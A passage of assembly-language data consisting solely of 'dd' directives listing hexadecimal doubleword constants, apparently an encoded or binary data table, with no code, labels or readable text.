5F16CA81h, 0A63668A7h, 71A4BE51h, 0F11FC42Dh dd 0C15007ADh, 0A967BC52h, 0F6DB4FF5h, 0B2049DDAh, 19D351C8h dd 831BF54Ah, 8374D7F3h, 49A2FFE6h, 68A7ECA3h, 7CBC8736h dd 8AFA4752h, 0AD19F7C5h, 0FFE6F14Ah, 9B7A1F78h, 0A94F7803h dd 68A7B46Bh, 425E19FAh, 0FFE683DFh, 0B843AC05h, 0BC77268Fh dd 50F6A867h, 167D4EBDh, 0F0AE67BCh, 0A7550C4Ah, 66A63668h dd 0E682E74Ah, 0EB40DFFh, 0E052C157h, 4413F517h, 0E63B39Fh dd 3BF29806h, 0B9A967BCh, 4ED9425Ch, 44FE7F25h, 3668A756h dd 0A75F1687h, 0C1873668h, 0D36B0A52h, 92BC2B19h, 35542C11h dd 0DE0F89F7h, 15632159h, 1CD311B7h, 15FA68A7h, 82E34662h dd 0B811FFE6h, 3668AA4Fh, 52C11ECDh, 778A99E0h, 1B7A59CDh dd 0BC2B19D3h, 60B4AE67h, 218AB33Eh, 5D41CE7Bh, 3E7E16AEh dd 0E683BF22h, 0E68CE5FFh, 0F86AA72Fh, 0D1FA8519h, 71C1B968h dd 3631F347h, 0BE640010h, 3668A707h, 1C71C187h, 0F31CA7F7h dd 89F0964Dh, 0BC2B19D3h dd 82FD607Ch, 0CA23FFE6h, 49A7724h, 0A8F61F74h, 28D1103h dd 167C33D9h, 4192BC5Fh, 0E2BC599Ch, 94B42E57h, 9542E818h dd 6416137Ah, 7B6C4E59h, 0E764FC5Fh, 68D12AFFh, 5F1650FFh dd 85346AA7h, 0FD607CBCh, 23FFE682h, 229124CAh, 0B15F36E0h dd 5BBABE34h, 0A72B19D3h, 8EF10D6Ah, 0B4FFE683h, 1643F25Bh dd 3569A75Fh, 0A752C186h, 0BC85346Ah, 82FD607Ch, 0CA23FFE6h dd 0A7229124h, 8717F86Ah, 0DF6AD3FCh, 0C4E0977Ah, 0FFE68361h dd 42CD368Fh, 4EF6B0E9h, 19D31D7Ch, 3569A72Bh, 0AA67BC86h dd 78104EF4h, 83B91C38h, 52E7FFE6h, 2750DBC3h, 0A76118BEh dd 1685346Ah, 346AA75Fh, 5D8A7AA4h, 617B2CDh, 52C1A960h dd 863569A7h, 1B7A52C1h, 0FD607CBCh, 23FFE682h, 0E9A324CAh dd 346AA7FBh, 0E54864A4h, 0BFFE682h, 16550CB2h, 3569A75Fh dd 0A867BC86h, 9D426BF6h, 45832975h, 346AA78Eh, 0E052C185h dd 0FFE6837Dh, 0BC5BBA35h, 55811292h, 872DC0D9h, 0BC5E4C06h dd 82FD607Ch, 0A323FFE6h, 0E6832487h, 90F952FFh, 0CAD43DEAh dd 855F161Bh, 0A752C10Eh, 0C185346Ah, 0BC0E8552h, 89114692h dd 0B85D2809h, 93BC4757h, 0DA3955EDh, 8FFE721h, 0C3DF1FAFh dd 0FFE72160h, 7E20F186h, 16B86F15h, 0B5E9297Eh, 6AA7580Fh dd 92BC8534h, 852BBEE8h, 0F533D9C7h, 0F46EA73Eh, 0CDF6811Dh dd 0F0459D64h, 89EE7925h, 8AD1688h, 35EC920Ch, 0F91C71C1h dd 8C1200A5h, 7B32D801h, 69A7F89Fh, 838FF20Eh, 20B5FFE6h dd 0FB24AFEFh, 44992992h, 0C46D1CDh, 0F35EDD1Bh, 38DE47A2h dd 1C71C181h, 1104A9F5h, 33D9028Dh, 0D82D857Ch, 0B1DA6539h dd 0A0BC540Bh, 0FFE6833Dh, 8004EA14h, 3BEDE747h, 5BB74C95h dd 268FB843h, 3E7E1677h, 837FE2FEh, 4CA5FFE6h, 0E6837DE0h dd 0B339A3FFh, 0DC1CF6CBh, 0AA610770h, 3AD82D85h, 4B53BF64h dd 3AF197C0h, 0E8552C1h, 0F0AE67BCh, 3963C65h, 316DA794h dd 547E1682h, 487F544h, 0FBB25849h, 7DE085F4h, 35FFE683h dd 16103A7Ah, 3C965984h, 0D38D44EAh, 0F89F2B19h, 82316DA7h dd 92BC52C1h, 0A5CF7B8Ch, 0F353F965h, 316DA784h, 90C61A1h dd 75E10A95h, 0FFE68312h, 266DE740h, 56F569F2h, 0BCECA349h dd 50F6A867h, 6DA75B12h, 0D34220F5h, 0AE1740CBh, 0E291FA23h dd 7DE052C1h, 35FFE683h, 19D31B7Ah, 206DA72Bh, 0BDD9C9ACh dd 0FFE6C35Ah, 3BB52F88h, 77268F98h, 223E7E16h, 0FFE683BFh dd 0E64965E5h, 0CFFE682h, 0EDA44AB3h, 0A1316DA7h, 375DF477h dd 138D6539h, 0E3DEA89Bh, 0DA913788h, 0D4CD92BCh, 0B87DE10h dd 0E7818CEFh, 0F861BAFFh, 0E050BF52h, 0FFE6837Dh, 0D31B7A35h dd 6DA72B19h, 5F168231h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h dd 0E1227BFFh, 0DF35E288h, 52C110BFh, 4A032D85h, 0D4D58DC8h dd 0BCCC8329h, 0E6833DA0h, 0B3EA14FFh, 0CD21F6B2h, 0F186CF75h dd 0CDD13E24h, 47B0D964h, 0ECB262B7h, 4AD5C947h, 0BCC47B21h dd 6AF5A967h, 309C030h, 7AE33C8Fh, 9CF141D4h, 759E2975h dd 7CBC18CFh, 0E682FD60h, 24CA23FFh, 3F09D77h, 0E4D246A5h dd 8F6A3B15h, 7B952715h, 7E166312h, 7FE2FE3Eh, 0A5FFE683h dd 837DE04Ch, 4AA3FFE6h, 0E85EDA4h, 0F4AA67BCh, 379AB64Eh dd 5DFFE683h, 0EB544AC8h, 855F163Ch, 9F52C10Eh, 0CA96F3F8h dd 732BE53Ah, 8364C7E3h, 3992FFE6h, 0A0BCDC93h, 7E09FE2h dd 0C217A700h, 0AA0D294Eh, 0D807E09Fh, 628B167Fh, 52C105BCh dd 38D82D85h, 0C109C066h, 0C10E8552h, 3569A752h, 0E64965A5h dd 0CFFE682h, 16560DB3h, 4FA4F45Fh, 2A749DC5h, 670D769Fh dd 0AB67BCB0h, 993F68F3h, 0E683C225h, 69A782FFh, 0CF45AA35h dd 89B244CFh, 0F65527CFh, 0BAA867BCh, 51DC4559h, 47018228h dd 0A7F89F59h, 821CF56Dh, 52C16A19h, 0EB7AA4F4h, 18BC2E95h dd 0A7B36A10h, 1682316Dh, 316DA75Fh, 0E052C182h, 0FFE6837Dh dd 0D31B7A35h, 6DA72B19h, 67BC8231h, 0E4CF2ACh, 346AA757h dd 0E052C185h, 66018F15h, 0F4AA67BCh, 6AA7974Eh, 0A1555E23h dd 0EB54FF00h, 0A75F163Ch, 4FA4346Ah, 2851DCC2h, 71C1CB82h dd 0A26EF41Ch, 36ED93FCh, 40217Bh, 0E68381E4h, 0B056AFFFh dd 0D37221F9h, 6AA72B19h, 92BC8534h, 0D34C0C09h, 43812722h dd 0AC67BC8Ch, 729F4CF2h, 52C17D2Ch, 0ED277CBCh, 82E245B1h dd 0B710FFE6h, 0DCDC3811h, 19D32AC9h, 346AA72Bh, 0BC5F1685h dd 0B1ED277Ch, 2E91FD26h, 0F0FFE683h, 0C6EF7A24h, 809C2C85h dd 0FFE6831Dh, 9744EA43h, 0C175247Ah, 23237B52h, 0A7326CA7h dd 45D0CE42h, 2206C001h, 1A45AEF0h, 2B19D36Bh, 85346AA7h dd 0F2AC67BCh, 36760E4Ch, 0E683B71Ah, 0FF73DDFFh, 601542F8h dd 0A35A0069h, 9A3792BCh, 7689227Ah, 74EE23D0h, 514DC49Eh dd 0CB349DC6h, 3171C11Ch, 0C7DA8407h, 0AF1B01C7h, 0FFE6FB4Ch dd 7591217Ah, 0FFE6FB12h, 8A41E740h, 0F4AA67BCh, 0C39A4069h dd 0A75F165Ch, 0C183326Ch, 75EFE052h, 0A787FFB3h, 1683326Ch dd 607CBC5Fh, 0FFE682FDh, 7724CA23h, 0C155049Ah, 394E4771h dd 6C061891h, 6CA70FC6h, 52C18332h, 0F0257ABAh, 54FA23AEh dd 1592BC9Dh, 0E5A35894h, 16D051F7h, 607CBC28h, 0FFE682FDh dd 5B6818EAh, 2667DA13h, 977A27CDh, 5F165807h, 0A2326CA7h dd 82E34662h, 0B811FFE6h, 5F165B12h, 82316DA7h, 0CCAB67BCh dd 0E6834DB0h, 0B11A73FFh, 0A709780Bh, 0C185346Ah, 336BA752h dd 0CFCF43A8h, 3DF72844h, 0D364C395h, 50204A19h, 0F3AB6886h dd 40C53F68h, 37EE94CDh, 82316DA7h, 6AA75F16h, 67BC8534h dd 0D4BF1ADh, 0C10E8556h, 0A6DA752h, 0E6838BEEh, 0F760B9FFh dd 8552C148h, 41A0BC0Eh, 10FFE683h, 0A04559BBh, 3D862C72h dd 0E6C1A3D3h, 0C932AFDEh, 0A75F161Ah, 1682316Dh, 0BCF89F5Fh dd 4CF2AC67h, 95940BD8h, 2D85AB48h, 5E503DD8h, 68D4A13Bh dd 6219BF28h, 0FD607CBCh, 0BFFFE682h, 9AC34E50h, 0C75A0059h dd 0D1FA4D77h, 0D14F7D3Dh, 2D85742Bh, 0BB613DD8h, 0BC52C104h dd 61F1AD67h, 0E682E245h, 11B710FFh, 5EEEB064h, 0C970709h dd 0A7326CA7h, 0B86F157Eh, 85F45F16h, 0E6837DE0h, 68A735FFh dd 0CD46AB36h, 794736C0h, 8BF4ABA0h, 8B456E00h, 0D3B211E3h dd 1DF54A19h, 9F24DB81h, 0AB6ED17h, 0FEAEAAF9h, 7CBCA158h dd 0E682FD60h, 25CA23FFh, 0FD26B1EDh, 3866AA57h, 0F452C189h dd 3569A785h, 9EC450A5h, 759E2975h, 16AF660Ch, 216CA75Fh dd 0A4473D04h, 0E08FF8AFh, 54771C1h, 4C6B4810h, 0E06219BFh dd 0FFE6837Dh, 326CA735h, 0E01F78A2h, 107EBC62h, 5F16B36Ah dd 863569A7h, 6CA752C1h, 838CEF0Bh, 61BAFFE6h, 8352B5D1h dd 2780FFE6h, 52C10FBEh, 67BC1B7Ah, 416AF5A9h, 72601A9Bh dd 863569A7h, 0FD607CBCh, 23FFE682h, 2FE624CAh, 1DF66CA7h dd 64CDF681h, 297E16B5h, 59979E9h, 0A73FF69Ch, 0C1863569h dd 837DE052h, 2A54FFE6h, 3DAE936Bh, 34EB911Bh, 0A8336BA7h dd 41CCD243h, 0C0A27318h, 98C14C52h, 124BA42Fh, 86749F58h dd 853731B7h, 0D3EB4A1Ch, 50204A19h, 278F939Eh, 0A7863DE3h dd 16863569h, 0B3EB297Eh, 0E85560Dh, 0F91C71C1h, 0A748FFA5h dd 0C1863569h, 0BC0E8552h, 0E68341A0h, 57065FFFh, 69A75F16h dd 7E168635h, 28B3EB29h, 8359BCD8h, 2E87FFE6h, 85681FC5h dd 9F52C10Eh, 607CBCF8h, 0FFE682FDh, 0C324CA23h, 0C90999C7h dd 0E6834AADh, 0A51F78FFh dd 0DCE99AA6h, 0D38A3092h, 6DA752C1h, 0F8831BF5h, 0BCB766CFh dd 65F0AE67h, 9403963Ch, 19D330E7h, 7492BC2Bh, 3525B7BBh dd 0CB03D379h, 6938753Ah, 0AD2h, 0F46EA7FAh, 0CEF7821Ch dd 52C1B665h, 6EA785F4h, 7E168130h, 11B7E729h, 326CA75Ah dd 9BC74DA2h, 17BD2678h, 8F92BC60h, 0F054D2F2h, 710C1D97h dd 0F6AEA2F7h, 436DBD50h, 11B3B470h, 8BF6599h, 0CFCFEE0h dd 7995D53Fh, 3F0CFC16h, 863DE33Ch, 0A2326CA7h, 50DBC34Dh dd 0BCCA8127h, 73D33092h, 0C656DD02h, 0E6D647AAh, 6E146DFFh dd 6CA77930h, 52C18332h, 0C009F8E0h, 0CB4A9FC0h, 0A7762DD3h dd 831BF66Ch, 0EA2A8F1Ah, 98060FB4h, 98527B0Dh, 0D3BF1EF0h dd 6CA72B19h, 5F168332h, 0A0306EA7h, 31D7C74Bh, 0AD67BC7Ah dd 68B84BF1h, 0FAA0FE13h, 326CA743h, 0AA67BC83h, 0B04069F4h dd 0E6833194h, 60065FFFh, 1B7A5ECDh, 0CAAD67BCh, 0E6834BAEh dd 0B72079FFh, 0E8D69011h, 81306EA7h, 18547E16h, 0EA365B01h dd 0A72DE48Ah, 1683326Ch, 27E93E7Eh, 83A80B77h, 75CEFFE6h dd 6AA718CFh, 0C64FA434h, 7E244DD8h, 0E052C1C7h, 0FFE6837Dh dd 346AA735h, 0C2EC7AA4h, 4F97372Fh, 2750DBC3h, 166118BEh dd 0B6E8297Eh, 544AC62Bh, 0A78E45EBh, 0C181306Eh, 346AA752h dd 0A752C185h, 28FA1F6Eh, 0F66CA23Dh, 759D028Dh, 0E908429h dd 37F12A83h, 0D39EFD8Fh, 6EA72B19h, 5F168130h, 85346AA7h dd 0FD607CBCh, 23FFE682h, 2FE624CAh, 81306EA7h, 0E8552C1h dd 0F1AD67BCh, 0FF973D66h, 0E68380E3h, 0FB1757FFh, 0FFE68398h dd 76BF65BEh, 52C16E1Dh, 19D344B3h, 0AC67BC2Bh, 769F4CF2h dd 0ED7826ECh, 16AC5BC4h, 316DA75Fh, 3FB67DA6h, 7CBC52C1h dd 0E682FD60h, 0AD62EAFFh, 0A63052A5h, 0B9660C65h, 3AD315Ch dd 0C22C6EF0h, 71C1AA59h, 0B6640731h, 9C9F48A7h, 0E698CD30h dd 0F49AF3FFh, 0A6DA73Dh, 0E6838BEEh, 0F760B9FFh, 9D001C6Ch dd 0C3FFE683h, 4F4FC56Ah, 8F4972C4h, 0D3DF4EE7h, 0E852B19h dd 0A67B92BCh, 2051CCBEh, 640A947Bh, 4B4DB0CCh, 0CF24FFE7h dd 6BB45A44h, 4B6CCFEBh, 59AFFE7h, 0BF28910Dh, 0A75F1610h dd 811DF46Eh, 0B564CDF6h, 0E8552C1h, 833DA0BCh, 0EA14FFE6h dd 78B8B475h, 203CCCECh, 0FFE6E5BDh, 9BE48AE3h, 52C19342h dd 67BC44B3h, 0CF50F6A8h, 23F14615h, 21C7F07Bh, 6A92BC6Ah dd 69F3AD49h, 21F4A147h, 5F16CE7Dh, 52C10E85h, 69A7F89Fh dd 52C18635h, 92BC0E85h, 9F4B2B08h, 0B54DF3F9h, 0E6F33699h dd 5AB80DFFh, 0EB90B944h, 0C6EF7A24h, 0CF7ED720h, 0E855F16h dd 6EA752C1h, 147D21F4h, 0BDE12F84h, 67BC6017h, 1250F6A8h dd 346AA75Bh, 0F452C185h, 346AA785h, 0BC5F1685h, 50F6A867h dd 81306EA3h, 0F4AA67BCh, 79A4069h, 0A967BC98h, 78DB4FF5h dd 30FFE683h, 67BC1B7Ah, 0C84CF1ADh, 7C224BD6h, 0BC5341FBh dd 82FD607Ch, 0CA23FFE6h, 49A7724h, 2792BC55h, 0CED03F8Eh dd 57A01A43h, 0C705AB04h, 6737DA2Fh, 68A70AC1h, 8390F30Fh dd 5DB6FFE6h, 0B9445AB8h, 0C1782790h, 0B2153171h, 0E0FFE683h dd 0E02AE187h, 38BCB532h, 0FA68A7C2h, 6B1A831Bh, 92BC5F16h dd 0BE84C041h, 6CCFEB09h, 9AFFE703h, 8532D841h, 0C165148Ah dd 0E7D8E052h, 3F7F5681h, 81E7C023h, 0C286AD56h, 0AE5C5AC9h dd 0B76E146Dh, 0A6316DA7h, 41CCD241h, 4DF5AFE8h, 19D352C9h dd 3668A72Bh, 0A75F1687h, 90F30F68h, 0B6FFE683h, 0C145F45Dh dd 0D36B0A52h, 7E162B19h, 9B79E929h, 0E60F9A03h, 68A78940h dd 52C18736h, 78A396E0h, 3A7A1E10h, 0EAD0A710h, 0A20CCFC9h dd 477CF675h, 0F558744Ch, 1BFFE744h, 0FCB359C2h, 0F54A19D3h dd 22D97F1Fh, 873668A7h, 67BC5F16h, 9D4AF0AEh, 3AAE1974h dd 0A91F55F1h, 28910D04h, 0A752C179h, 51A63668h, 833AE0BEh dd 1B7A52C1h, 0F54A19D3h, 0CFCF461Ch, 0BC09C066h, 0EA16A792h dd 892F54DBh, 0BA6935DCh, 68A75F16h, 0B27F325h, 951E9806h dd 0D180E9F4h, 6AA75F16h, 67BC8534h, 3D66F1ADh, 85950497h dd 613DD82Dh, 76A86D6h, 2DFFE683h, 0D0F16BD4h, 5B9F13C0h dd 0BC964DF3h, 0E6833DA0h, 5B0A63FFh, 6AA752C1h, 5F168534h dd 7CBC0E85h, 9A79E927h, 0E7507904h, 198D335Ch, 0FFE683B6h dd 89D9388Dh, 1EA9128Ch, 9C064FF5h, 2735CAF2h, 63127B01h dd 0E855F16h, 0F89F52C1h, 0F10D6AA7h, 0FFE6838Eh, 62F25BB4h dd 0F59B030Dh, 0E052C13Eh, 0FFE6F443h, 336BA7F3h, 0D7C74EA3h dd 71C17A31h, 94B05147h, 56FCF6A8h, 0C364D29Fh, 0D1487DA7h dd 67BC930Ah, 166F1ADh, 0D9028D11h, 1632CA70h, 0FFE683B3h dd 0D3365292h, 1FFE683h, 60B902A8h, 3E7E16B1h, 0E683BF22h dd 0B67BE5FFh, 3925F95Ch, 0B36A1079h, 0D8A74E0h, 6BA7040Bh dd 5F168433h, 1BF76BA7h, 0C16B1A83h, 0F86AA752h, 6918811Dh dd 67BC5F16h, 405EB6ACh, 98238CB5h, 0F61CC96Fh, 5F16F9A8h dd 0BAA867BCh, 94BD4856h, 3DD8852Bh, 52C1B261h, 85346AA7h dd 1B7A52C1h, 0EA277CBCh, 82E548B4h, 0B20BFFE6h, 0E3D18B0Ch dd 0E4A967BCh, 16F7C9B4h, 5B016AEEh, 883767AEh, 2D855F16h dd 5C52C3EDh, 0C92C7595h, 0E724FA5Dh, 829328FFh, 0FF68911Ch dd 52C1A259h, 0A4346AA7h, 5909167Ah, 1BC14B6Dh, 0BC5F1664h dd 50F6A867h, 82316DA3h, 7CBC52C1h, 0E682FD60h, 25CA23FFh dd 0FA23AEF0h, 0A785F454h, 831BF969h, 0B766CFF8h, 92BC5F16h dd 1DB27A6Fh, 0C0DE351Ah, 0FDA30C35h, 2FDEC050h, 92BC52C1h dd 52C077A8h, 1E98C14Ch, 0AE549C00h, 0E695D73Ah, 1B7A8FFFh dd 0A72B19D3h, 7FDE2469h, 2C6FD821h, 5F1614C3h, 0FD607CBCh dd 23FFE682h, 997724CAh, 0EF207505h, 55FB24AFh, 0BC52C19Eh dd 66F1AD67h, 0AB59C33Dh, 208ECC9Ch, 88A3067Ah, 7A63FFE6h dd 0FF5A103Ah, 81FBA372h, 0B359A905h, 2B19D3FCh, 0FD607CBCh dd 23FFE682h, 0B95676B9h, 3CA56B51h, 7727E996h, 0A75F16C8h dd 8F02568h, 1D01C933h, 390029B4h, 2285A1E1h, 50FFE6FBh dd 0FB51B4D0h, 267FFFE6h, 0A4FA18BDh, 67BC47FEh, 4AADC9AEh dd 78FFE683h, 22BB61Fh, 45EBB35Dh, 69A743B2h, 52C18635h dd 3AD82D85h, 0AB0D964h, 0AC67BC53h, 983E67F2h, 8385E400h dd 5AB3FFE6h, 297E16ABh, 29B4EAh, 69A7A35Ah, 5F168635h dd 6EA7F89Fh, 52C18130h, 0A53569A7h, 0DFCCC150h, 66DF22F4h dd 53FCA33h, 0D6B60473h, 1BC12A89h, 4771C164h, 37A45C61h dd 0DCC24F1Eh, 5D41CE73h, 4C03A9D2h, 2EE53A7Ah, 0D313CA70h dd 6EA72B19h, 5F168130h, 81306EA7h, 74E052C1h, 40B0D8Ah dd 19D35BBAh, 0AB67BC2Bh, 993F68F3h, 0D93929ECh, 16AD5CC5h dd 306EA75Fh, 0A752C181h, 0C182316Dh, 0D344B352h, 6EA72B19h dd 0C64BA030h, 7E244DD8h, 0A75F16C7h, 0BC82316Dh, 0B0486D92h dd 7EA3EA7h, 1EE15B71h, 0C4DA36CAh, 0B322B55Bh, 6DA785F4h dd 49B80620h, 1D866632h, 0A75F166Eh, 8BEE0A6Dh, 0B9FFE683h dd 0C148F760h, 837DE052h, 0FF54FFE6h, 99FE8915h, 15BB247Ah dd 0D31B7A5Eh, 7CBC2B19h, 0E682FD60h, 87A323FFh, 0FFE68324h dd 0EA90F952h, 18C7D73Dh, 6DA75F16h, 71C18231h, 50FC0D47h dd 0B42E3FDAh, 379E6E5Bh, 2EE58BD8h, 0E6837DE0h, 5BBA35FFh dd 0A72B19D3h, 1682316Dh, 3B7E547Eh, 0C51671C1h, 2D85681Fh dd 573F1403h, 54FA1DA6h, 0A752C19Dh, 77A1316Dh, 0F4E290Bh dd 6BD63BFh, 0E8552C1h dd 8341A0BCh, 0DF5FFFE6h, 0E68360C3h, 9D2D86FFh, 0E6831E81h dd 82EB44FFh, 2B739DF2h, 1AD177A0h, 6DA75F16h, 5F168231h dd 6CA7F89Fh, 0F5801EF6h, 0A9D363CCh, 1B6EAF2Bh, 12C96FE1h dd 0F51C71C1h, 4FF51EA9h, 0BC0E8598h, 0E6833DA0h, 5B0A63FFh dd 0F6A867BCh, 0A75B1250h, 0C1873668h, 8381E052h, 0BC31FFE6h dd 65F0AE67h, 26E9963Ch, 67BCC978h, 0F4DF3ABh, 3668A758h dd 0DEC051A6h, 7E9A2A53h, 0FFE6831Bh, 934AF049h, 0FD607CBCh dd 0BFFFE682h, 95BE4955h, 9E81FB54h, 3DCFE1E6h, 7BEA7D23h dd 0F2AC67BCh, 0EB983E67h, 16C77628h, 0C10E855Fh, 0A6F81C71h dd 8B1301h, 0BC7A31D7h, 0D8FC9592h, 9E4438F0h, 3D591EF1h dd 0FFE732DAh, 0A22D71A4h, 76DF3879h, 0F45F16C7h, 837DE085h dd 7A35FFE6h, 2B19D31Bh, 0E85F89Fh, 833DA0BCh, 0A63FFE6h dd 0BC52C15Bh, 82FD607Ch, 0A323FFE6h, 0E6832487h, 90F952FFh dd 90BF76EAh, 0A71F16CFh, 41A6316Dh, 1C8292D0h, 74FF6891h dd 973FF922h, 19D3A605h, 0BC0E852Bh, 0E6833DA0h, 5B0A63FFh dd 833DA0BCh, 0A63FFE6h, 855F165Bh, 70C3ED2Dh, 5133B366h dd 4AB81B87h, 85DEFFE7h, 4A76D9F5h, 439CFFE7h, 7CBCE69Dh dd 2AB5E927h, 84E75B01h, 0B2FFE683h, 3DA6F81Dh, 656383ADh dd 79F725A6h, 92BC1CD3h, 0C051FD0Eh, 0A06F146Bh, 56C558FEh dd 1FECA1E0h, 1B7A514Ah, 0F54A19D3h, 24DB811Dh, 31032D85h dd 0FF407488h, 85E80494h, 0ABFFE6F8h, 0BCF5AC52h, 0E6833DA0h dd 0B8D414FFh, 0FFE68355h, 742AE67Bh, 0FC5F7B0Bh, 2AFFE682h dd 89E22BD1h, 3DA0BCDAh, 14FFE683h, 408CFDEAh, 5F054AB1h dd 0BC0EBD16h, 65F0AE67h, 0A158963Ch, 0A0BC0E85h, 0FFE6833Dh dd 0C15B0A63h, 326CA752h, 7A52C183h, 722CE53Ah, 6118BEE7h dd 204A19D3h, 513214EFh, 48FFA59Fh, 0A0BC0E85h, 0FFE6833Dh dd 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh, 0E855F16h, 203C7CBCh dd 0FFE683BDh, 40108AE3h, 46C83E2h, 43A61AC0h, 71FFE6FDh dd 0FD72D5F1h, 47A0FFE6h, 0F20E4EDEh, 0FFE6FD8Fh, 4B3C17Ch dd 7EBFD16Bh, 16799525h, 3CFFE6CAh, 0C1863DE3h, 0A7F71C71h dd 0A1E04A01h, 514A1FECh, 0A5306EA7h, 40CBD340h, 5539F324h dd 0E577E0BEh, 2B19D386h, 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h dd 0E6833DA0h, 5B0A63FFh, 0E855F16h, 833DA0BCh, 0A63FFE6h dd 0AF92BC5Bh, 5DC0DCE6h, 83FFE6E0h, 3B71B02Ah, 3C8C1FC5h dd 0DA3929E7h, 0A7D05BC4h, 29E04A01h, 0C916CF91h, 67BC1B7Ah dd 3D66F1ADh, 8D5C1697h, 49740663h, 0A54AF5F6h, 0D38A306Eh dd 0A0BC0E85h, 0FFE6833Dh, 0BC5B0A63h, 0E6833DA0h, 5B0A63FFh dd 1E7F92BCh, 7B9927C2h, 0A7E097D5h, 1683326Ch, 8CA4547Eh dd 8652B5D1h, 2780FFE6h, 7D3129ADh, 0E8520D7h, 2D8552C1h dd 836ED1EDh, 0FF94FFE6h, 7D238C12h, 0D992BCC6h, 42B41CD3h dd 60CF6208h, 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 0AF5C022Bh dd 0BC8F3E60h, 67F2AC67h, 0A35A983Eh, 7DE085F4h, 35FFE683h dd 0E8103A7Ah, 83A52BD9h, 0BC9C53F9h, 82FD607Ch, 0CA23FFE6h dd 0FBE9A324h, 4EC2179Fh, 0E0F3AA50h, 0FFE6F724h, 3668A7D4h dd 8552C187h, 0AD67BC0Eh, 97B34BF1h, 0FFE68334h, 4A54BE13h dd 892F6FA5h, 1638E740h, 0BC85F45Fh, 82FD607Ch, 0CA23FFE6h dd 70862D50h, 7A208BCCh, 0AD5C42CDh, 68A75F16h, 52C18736h dd 0E6837DE0h, 13FF54FFh, 78C6008Bh, 3B82BB1Fh, 10C76DD6h dd 19D31B7Ah, 2568A72Bh, 0D4D14E8Eh, 82E5014Ah, 0B0FFE744h dd 0D685EE57h, 0A40992BCh, 9EA54A4Ch, 0A703BAF8h, 0C181306Eh dd 837DE052h, 0A735FFE6h, 1681306Eh, 7BE7297Eh, 517A0599h dd 8E345DE8h, 2568A7D7h, 1E6FD92Ch, 5A09728Bh, 6EA752C1h dd 0DF11C71Fh, 0B4DD6836h, 784F243Ah, 92BC600Fh, 0DC3BEAF8h dd 0F78A302Bh, 0D31B7A88h, 67BC2B19h, 4559B9A9h, 0C0DE37DCh dd 0FCA26D1Ah, 0A75F164Dh, 60A0306Eh, 0E682E144h, 3767ABFFh dd 40F79DF6h, 0F1AD67BCh, 0A7560D4Bh, 0C1873668h, 0BC0E8552h dd 0E6833DA0h, 5B0A63FFh, 68A752C1h, 5F168736h, 67BC0E85h dd 0C151F6A8h, 832952DDh, 836CCFEBh, 419AFFE6h, 107687B1h dd 4F8A0CB9h, 0E883734h, 4ADA7E86h, 0E777CB2Eh, 0FAA0F9FFh dd 547E1643h, 97980655h, 8E45EB23h, 0E85F89Fh, 6CA752C1h dd 0B77EA732h, 0BC52C140h, 82FD607Ch, 56BFFFE6h, 5394BD48h dd 69A754FAh, 5F168635h, 7DE085F4h, 35FFE683h, 0F5103A7Ah dd 5C523852h, 0D34900A6h, 67BC2B19h, 4069F4AAh, 85DE59Ah dd 0DE07920Ch, 3CC7D739h, 0E0B66D13h, 0FFE6E8F1h, 0A6DA781h dd 0E6838BEEh, 0EB4E6AFFh, 19FFE682h, 0BD267FC0h, 607CBC0Eh dd 0FFE682FDh, 9124CA23h, 0BC0E8522h, 0E6833DA0h, 42CE63FFh dd 83B61935h, 83DCFFE6h, 1602B11Ah, 0A785F45Fh, 1682316Dh dd 6392BC5Fh, 1174909Ah, 3FFFE693h, 0D0716CE6h, 0C91F829Eh dd 0EC45FFE6h, 0E430DD83h, 92BC0BBAh, 380181BEh, 53E68CBBh dd 837DE0E4h, 7A35FFE6h, 702EE53Ah, 5F16BCE5h, 0A72B19D3h dd 0C49B206Dh, 18E2C4DEh, 5F1600AFh, 84527CBCh, 0A650C7B3h dd 9FD538A4h, 0A2FBFFE6h, 0D9C54FFCh, 0E052C12Ah, 0FFE6837Dh dd 55BF1454h, 837ADD49h, 0CF44FFE6h, 0DA1B44CFh, 6B33DC81h dd 5A11B7E0h, 0A6316DA7h, 40CBD341h, 270BC5EEh, 784AB3EBh dd 722CE338h, 19D315CCh, 8BEE0A4Ah, 0B9FFE683h, 8B17E660h dd 0D25B95Ah, 6DA7B067h, 5F168231h, 0D1ED2D85h, 0FFE6836Eh dd 0DE953B94h, 92BC52C1h, 57681025h, 5805ABC0h, 0ABB5D1BCh dd 0A52551F8h, 52C18D3Ch, 0A5306EA7h, 0BC3EB57Ch, 0E68341A0h dd 57065FFFh, 0E9297E16h, 9D0110B5h, 6DA740F7h, 5F168231h dd 39D82D85h, 0A075DA65h, 38EF95FEh, 0F89F52C1h, 0CE028BD2h dd 0AB5037FCh, 82AB3668h, 52C144BBh, 1DF56DA7h, 8391F681h dd 0B949B21Bh, 0BA1D3979h, 0E8FFE683h, 83C0238Fh, 8DE6FFE6h dd 5F1630E7h, 863569A7h, 85F452C1h, 0A53569A7h, 0C2057F7Bh dd 0A1473AF3h, 297E16EAh, 5A11B7E7h, 0E1AC67BCh, 0D2A6D363h dd 18BD26B5h, 0EF18A3FBh, 2A749C49h, 0B892BC7Bh, 13F6FBFBh dd 0A211A44Ah, 0E6837DE0h, 69A735FFh, 0CD45AA35h, 0CBF446D1h dd 38976911h, 0F4AA67BCh, 38DEC04Fh, 0A70FFDB7h, 0B2CE0E69h dd 0FFE6834Fh, 4DB01C75h, 73FFE683h, 1602B11Ah, 0EA92BC5Fh dd 5C8C2DE0h, 858D3AE0h, 52C16A19h, 0EB9DE1E0h, 5470B037h dd 37EB9CF1h, 6920C61Fh, 0F00C6BA7h, 0FFE6838Dh, 42F15AB3h dd 0F2AC67BCh, 98FB1767h, 0BEFFE683h, 1856FC65h, 336BA761h dd 0E052C184h, 3D81D0B1h, 0D31B7A41h, 6BA72B19h, 1C8519F7h dd 6DB3628Ch, 5C2A08F6h, 5F16FFB6h, 84336BA7h, 0FD607CBCh dd 23FFE682h, 1BC750CAh, 6C03180Ah, 0E0C433C6h, 0FFE6837Ah dd 910D0459h, 8037DD06h, 0C451A6EEh, 833497B3h, 962FFE6h dd 0D343FAA0h, 1BF54A19h, 0BC26DD83h, 0AC086992h, 0E3890E35h dd 0E4B1DC36h, 0BD612758h, 0BC9D4CB5h, 2E3DEB92h, 0F3993845h dd 6DA7FEB5h, 52C18231h, 0FD607CBCh, 23FFE682h, 0BEB024CAh dd 0B658F9F8h, 0FD607CBCh, 